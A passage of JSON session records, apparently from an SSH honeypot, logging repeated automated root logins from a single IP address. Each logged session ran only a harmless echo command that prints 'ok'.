  "src_port": 32886,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:00.978906+00:00",
  "ended_at": "2026-08-23T09:10:03.019747+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1eb7223d-c985-4f28-9347-8a68c3a57bef",
  "name": "umber-coral-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:59.357512+00:00",
  "ended_at": "2026-08-23T09:10:00.248928+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aa7739a8-ce53-4aa4-bde5-8b7a45852e7b",
  "name": "sullen-jaunty-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56068,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:57.147660+00:00",
  "ended_at": "2026-08-23T09:09:58.635312+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a3a4a7fa-4cf1-4087-8e78-05ccab956074",
  "name": "eager-subtle-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56064,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:54.126126+00:00",
  "ended_at": "2026-08-23T09:09:56.402805+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "95a6c532-fd2b-46c2-afad-ad01d62bce28",
  "name": "keen-steady-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56060,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:52.195930+00:00",
  "ended_at": "2026-08-23T09:09:53.421472+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fbf304d9-d31d-4a51-956a-9d550ad37102",
  "name": "primal-merry-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56058,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:50.287304+00:00",
  "ended_at": "2026-08-23T09:09:51.418079+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc6dfa16-c1e8-484e-b267-1f0f3ade4bab",
  "name": "thorny-rustic-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:47.622156+00:00",
  "ended_at": "2026-08-23T09:09:49.537464+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bcecfe67-2270-4cbd-a6a0-3b4ee858565c",
  "name": "feral-patient-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42366,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:45.544153+00:00",
  "ended_at": "2026-08-23T09:09:46.944904+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "26aa0067-902d-4577-bcb0-249a07fad415",
  "name": "electric-hazel-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.29.129",
  "src_port": 42352,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:09:43.541043+00:00",
  "ended_at": "2026-08-23T09:09:44.760629+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ce7a9b1b-4879-4368-813f-b507aaef4864",
  "name": "orderly-fickle-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:41.481289+00:00",
  "ended_at": "2026-08-23T09:09:43.230840+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "80263f8e-bd23-4355-8af2-489bae923af9",
  "name": "mellow-meadow-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:38.580748+00:00",
  "ended_at": "2026-08-23T09:09:40.634142+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9ed67bd8-0df6-43f3-8441-9d081f50200c",
  "name": "loyal-ivory-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49520,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:35.665364+00:00",
  "ended_at": "2026-08-23T09:09:37.721624+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "143c9f5f-2c0e-4126-95e9-5cc5d22bc774",
  "name": "supple-early-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49510,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:33.124604+00:00",
  "ended_at": "2026-08-23T09:09:35.042914+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5899a3ec-17a0-47d5-a82a-3439250e0dcb",
  "name": "somber-downy-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49508,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:30.470898+00:00",
  "ended_at": "2026-08-23T09:09:32.518560+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "15fde2ee-f2c2-4d67-833d-1bbe2126ce56",
  "name": "brisk-flinty-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58444,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:27.517680+00:00",
  "ended_at": "2026-08-23T09:09:29.674677+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "52da91f4-1baf-459f-99b6-c89308d424ea",
  "name": "dapper-craggy-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58436,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:21.300182+00:00",
  "ended_at": "2026-08-23T09:09:26.703316+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "45f69971-9281-4a2f-b330-be0e0039ff67",
  "name": "cunning-mellow-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35522,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:18.307791+00:00",
  "ended_at": "2026-08-23T09:09:20.489115+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c519abb7-876a-46e7-b45e-ed6626313679",
  "name": "drifting-idle-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35518,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:15.967323+00:00",
  "ended_at": "2026-08-23T09:09:17.636630+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6255d18f-8ff3-4b6b-ac07-c0414b5ffb86",
  "name": "sunlit-craggy-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:13.260311+00:00",
  "ended_at": "2026-08-23T09:09:15.293396+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ba739eaf-7e00-4ee6-9173-1091169f1fd6",
  "name": "watchful-keen-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:11.347647+00:00",
  "ended_at": "2026-08-23T09:09:12.466868+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7869fed6-0cec-4c47-a16e-9e3f97c333ed",
  "name": "seaward-indigo-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:08.776464+00:00",
  "ended_at": "2026-08-23T09:09:10.502003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d703f041-4c25-48bf-b75f-8fc025ae6c5c",
  "name": "noble-jagged-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:06.389606+00:00",
  "ended_at": "2026-08-23T09:09:08.037099+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "919c2079-b31a-4f0d-b1e7-f96b2f24b013",
  "name": "gentle-frank-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41200,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:09:03.732017+00:00",
  "ended_at": "2026-08-23T09:09:05.592894+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b568503e-9e60-4fd1-af33-aa2aee840bda",
  "name": "vivid-rugged-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:58.124305+00:00",
  "ended_at": "2026-08-23T09:09:02.925861+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5b8d4e84-ff95-4a72-8eef-052ddd94df6c",
  "name": "mindful-glacial-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:55.865707+00:00",
  "ended_at": "2026-08-23T09:08:57.459916+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1dd9f8a4-8b03-4ed4-a6fd-f6f20af37e7b",
  "name": "opal-thrifty-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50674,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:54.029798+00:00",
  "ended_at": "2026-08-23T09:08:55.103819+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "311bbf21-7b9b-45ca-a791-5e035b597d1f",
  "name": "umber-fierce-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:52.281205+00:00",
  "ended_at": "2026-08-23T09:08:53.348139+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d2638c42-d75e-432f-a31c-a90e91313f36",
  "name": "gloomy-quiet-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50662,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:50.282562+00:00",
  "ended_at": "2026-08-23T09:08:51.612694+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "033a5dcb-2b95-45c6-a5a8-e61b33f2b790",
  "name": "sturdy-ginger-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:48.583645+00:00",
  "ended_at": "2026-08-23T09:08:49.640515+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "efb63a22-4185-4d11-a0ca-ded6a25b65b0",
  "name": "clever-umber-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41912,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:46.328349+00:00",
  "ended_at": "2026-08-23T09:08:47.805550+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4156bc93-3d6e-4423-9f29-992a959aded0",
  "name": "loyal-shifting-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:43.986246+00:00",
  "ended_at": "2026-08-23T09:08:45.555155+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f162bd4b-3bbd-4cb7-abe8-85c447ab12cb",
  "name": "patient-slender-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:41.765948+00:00",
  "ended_at": "2026-08-23T09:08:43.176630+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5e66aed7-82a8-476a-81c8-fc8b06889cea",
  "name": "blithe-crisp-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41894,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:39.459296+00:00",
  "ended_at": "2026-08-23T09:08:41.041689+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a815c32c-ffe7-4d7f-9300-f3bb26be9a8c",
  "name": "chilly-diligent-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:37.220382+00:00",
  "ended_at": "2026-08-23T09:08:38.631532+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f4cf3765-a122-4081-bf8f-dc805f3b7fdd",
  "name": "fabled-jagged-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:35.094041+00:00",
  "ended_at": "2026-08-23T09:08:36.590765+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1ed21d1f-8320-4f06-a860-a1dd588f0163",
  "name": "autumn-bold-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:32.268051+00:00",
  "ended_at": "2026-08-23T09:08:34.432852+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a9e73d6f-b957-4b9b-a0ce-2e2dd731d0b2",
  "name": "deft-marine-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57884,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:30.314442+00:00",
  "ended_at": "2026-08-23T09:08:31.550361+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0374513c-4ded-41d2-a060-c94ba238d6a9",
  "name": "dusty-jovial-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43070,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:25.487429+00:00",
  "ended_at": "2026-08-23T09:08:29.665065+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "adbc728b-a525-40fb-ad2a-9eb83614608f",
  "name": "bronzed-zealous-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43060,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:23.628325+00:00",
  "ended_at": "2026-08-23T09:08:24.664222+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ead05c5b-589f-466d-90b6-dceece1f0d54",
  "name": "leafy-idle-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43058,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:21.821330+00:00",
  "ended_at": "2026-08-23T09:08:22.901016+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "306ca3c9-4649-4dc4-8747-46c6bb9db4af",
  "name": "placid-early-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:19.915559+00:00",
  "ended_at": "2026-08-23T09:08:21.128840+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2724f56a-10bd-450c-a72f-e371da9ec69d",
  "name": "noble-stormy-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35382,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:17.533204+00:00",
  "ended_at": "2026-08-23T09:08:19.122782+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9977ffd0-1e78-4468-9d90-8ccdde48e3ec",
  "name": "tranquil-obsidian-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:14.600018+00:00",
  "ended_at": "2026-08-23T09:08:16.755173+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8a1fc0ba-ef3f-400d-8496-35f2748fbb8a",
  "name": "rustic-sincere-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35368,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:09.790824+00:00",
  "ended_at": "2026-08-23T09:08:13.896163+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "789cb54f-4e62-475c-a1bd-4cc65d1568eb",
  "name": "wry-sullen-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:08.151626+00:00",
  "ended_at": "2026-08-23T09:08:09.075793+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "76d0d8ae-81a8-4039-92c4-728d8c5ddc63",
  "name": "freckled-russet-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:06.488118+00:00",
  "ended_at": "2026-08-23T09:08:07.390019+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2c7977a5-8db1-4225-b42b-06af9c5fa537",
  "name": "drifting-chilly-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:04.489899+00:00",
  "ended_at": "2026-08-23T09:08:05.753853+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d18a545b-9e07-4816-a3e5-20f70a70e6d6",
  "name": "prickly-dusky-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52900,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:08:02.231420+00:00",
  "ended_at": "2026-08-23T09:08:03.856670+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3534cef9-ccad-49bd-a023-1d554447d164",
  "name": "muted-mottled-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:59.998796+00:00",
  "ended_at": "2026-08-23T09:08:01.361007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e0ac2b07-2679-4dc8-b08f-0c6070ec59d5",
  "name": "jolly-sleepy-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49192,
  "username": "root",
  "client_version": "SSH-2.0-Go",
